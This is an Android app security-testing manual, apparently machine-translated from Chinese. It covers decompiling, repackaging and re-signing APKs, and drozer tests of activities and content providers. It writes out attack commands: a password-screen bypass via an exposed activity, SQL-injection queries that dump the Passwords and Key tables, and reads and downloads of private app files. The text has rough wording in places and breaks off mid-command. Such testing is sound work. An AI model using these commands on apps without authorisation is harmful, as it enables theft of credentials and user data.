Title: APP android test case manual

1. Client program security test

1. Check the information of apk

java -jar GetApkInfo.jar tfkj.apk

2. Digital signature check

C:\Program Files\Java\jdk1.8.0_111\bin\jarsigner.exe-verify C:\Users\bk\Desktop\Tianfu Technology Cloud APP\Tianfu Technology Cloud Service Platform\Tianfu Technology Cloud Service Platform.apk

C:\Program

Files\Java\jdk1.8.0_111\bin\jarsigner.exe-verify C:\Users\bk\Desktop\Tianfu Technology Cloud APP\Tianfu Technology Cloud Service Platform\Tianfu Technology Cloud Service Platform.apk -verbose -certs

The developer's certificate is not standardized, resulting in unknown developer's identity information

keytool.exe-printcert-file.\CERT.RSA

3. Decompile check

View APP hardening types through ApkScan.jar

Apk decompiled to Java source code :

Treat apk as zip and decompress to get the classes.dex file

Copy the unzipped classes.dex file to the dex2jar tool folder

Execute the command: d2j-dex2jar classes.dex

After execution, the decompiled classes-dex2jar.jar file is obtained.

Use jd-gui.exe or luyten-0.5.4 to open the classes-dex2jar.jar file to get the 360 security hardened obfuscated source code.

Apk compiled to Smali language :

java -jar [apktool_2.3.4.jar] d -f

[apk address] -o [output directory]

java -jar

apktool_2.3.3.jar d [-s] -f C:\Users\bk\Desktop\Tianfu Technology Cloud APP\Tianfu Technology Cloud Service Platform.apk -otfkj //Insist like Taobao app cannot be decompiled, -s means only decompiling xml files

java -jar

apktool_2.3.3.jar d -f C:\Users\bk\Desktop\Tianfu Technology Cloud APP\Tianfu Technology Cloud Service Platform.apk -otfkj

or:

apktool.bat d Tianfu Technology Cloud Service Platform.apk

4. Check AndroidManifest.xml file

java -jar AXMLPrinter2.jar AndroidManifest.xml

AndroidManifest.txt

or

java -jar APKParser.jar Tianfu Technology Cloud Service Platform.apk AndroidManifest.txt

1. Turn on the application data to backup:

allowbackup backup permission, ture has the risk of backup data leakage (default is TRUE if not configured)

2. Turn on unsafe debug mode:

Debuggable attribute, true poses a risk of application information tampering and leaking (default is FALSE if not configured)

5. Check for Janus vulnerability

(1) Janus vulnerability (Based on Janus vulnerability, an attacker can modify the APP without affecting its original signature. The tampered APP can be successfully installed and run. V1+V2 signatures should be used at the same time)

6. Application integrity calibration inspection

Decompile the source code and modify the image file name as test.png

Regenerate the apk package, the command is as follows:

java -jar apktool.jar b -f folder to be packaged -o output apk path

or

apktool.bat bTianfu Technology Cloud Service Platform

Under Tianfu Technology Cloud File, you can find 2 more folders :build and dist (the packaged APK file is stored in it)

Re-sign the APK command is as follows:

java -jar signapk.jar testkey.x509.pem

testkey.pk8 Apk file path to be signed. Apk path output after signature

Then reinstall the apk, if it can be reinstalled, the file integrity will be corrupted

2. Component safety test

1. Basic information query (1), list the program installation package:

run app.package.list

(2), get the package name of the app name drozer (the Chinese APP cannot be listed, you can use: java -jar GetApkInfo.jar to get the package name of the installed app)

Command: run app.package.list -f package name

run app.package.list -f drozer

(3), view the attack surface of the four major components of Android: Command: run app.package.attacksurface Package name run app.package.attacksurface com.zhuoyigou.dese

2. Activity (Interface)Component Test

Usually displayed as a visual user interaction interface (1), view external activity component information command: run app.activity.info -a package name run app.activity.info -a com.zhuoyigou.dese (2), use app.activity.start for vulnerability testing

Command: run app.activity.start --component package name Component name run app.activity.start--componentcom.mwr.example.sievecom.mwr.example.sieve.PWList #Bypass the password and enter the system, generally the main login window interactive interface

Calling the exposed activity component (generally, the activity component will only expose one program startup interface, and when exposing the others, it is component exposure. The following is a test, and there are no component exposure vulnerabilities)

3. Content provider component test

Mainly used to implement data sharing between different applications (1), check the content provider component information command: run app.provider.info -a package name run app.provider.info -a com.zhuoyigou.dese (2), ContentProviders Data leakage URL command: run scanner.provider.finduris -a package name run scanner.provider.finduris -a com.zhuoyigou.dese (3), obtain data of each Uri

Command: run app.provider.query The URL address that can be leaked --verticalrun app.provider.query content://com.zhuoyigou.dese.ipc.provider/--vertical (3), ContentProviders SQL injection command 1: run app.provider.query The URL address that can be connected --projection ''

Command 2: run app.provider.query URL address that can be connected --selection '''run app.provider.query content://com.zhuoyigou.dese.ipc.provider/--selection ''' An error indicates that there is SQL injection (4) and all tables are listed

Command: run app.provider.query URL address that can be connected --projection '* FROM SQLITE_MASTER WHERE type='table';--'run app.provider.query content://com.zhuoyigou.dese.ipc.provider/--projection '* FROM SQLITE_MASTER WHERE type='table';--'The following figure shows three tables android_metadata, Passwords, and Key. From the name, it can be judged that android_metadata is a system-related table, and the other two may be related to password and other data.

(5) Get the data in a table (such as Key):

Command: run app.provider.query URL address that can be connected --projection '* FROM table name;--'run app.provider.query content://com.zhuoyigou.dese.ipc.provider/--projection '* FROM Key;--' (6), detect SQL injection

Command: run scanner.provider.injection -a package name

run scanner.provider.injection -a com.zhuoyigou.dese (7), detection directory traversal command: run scanner.provider.traversal -a package name run scanner.provider.traversal -a com.zhuoyigou.dese (8) Read system file command: run app.provider.read URL address that can be connected run app.provider.read content://com.zhuoyigou.dese.ipc.provider/ (9), download system file to local command: run app.provider.download Available download file address Local absolute path

run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/datab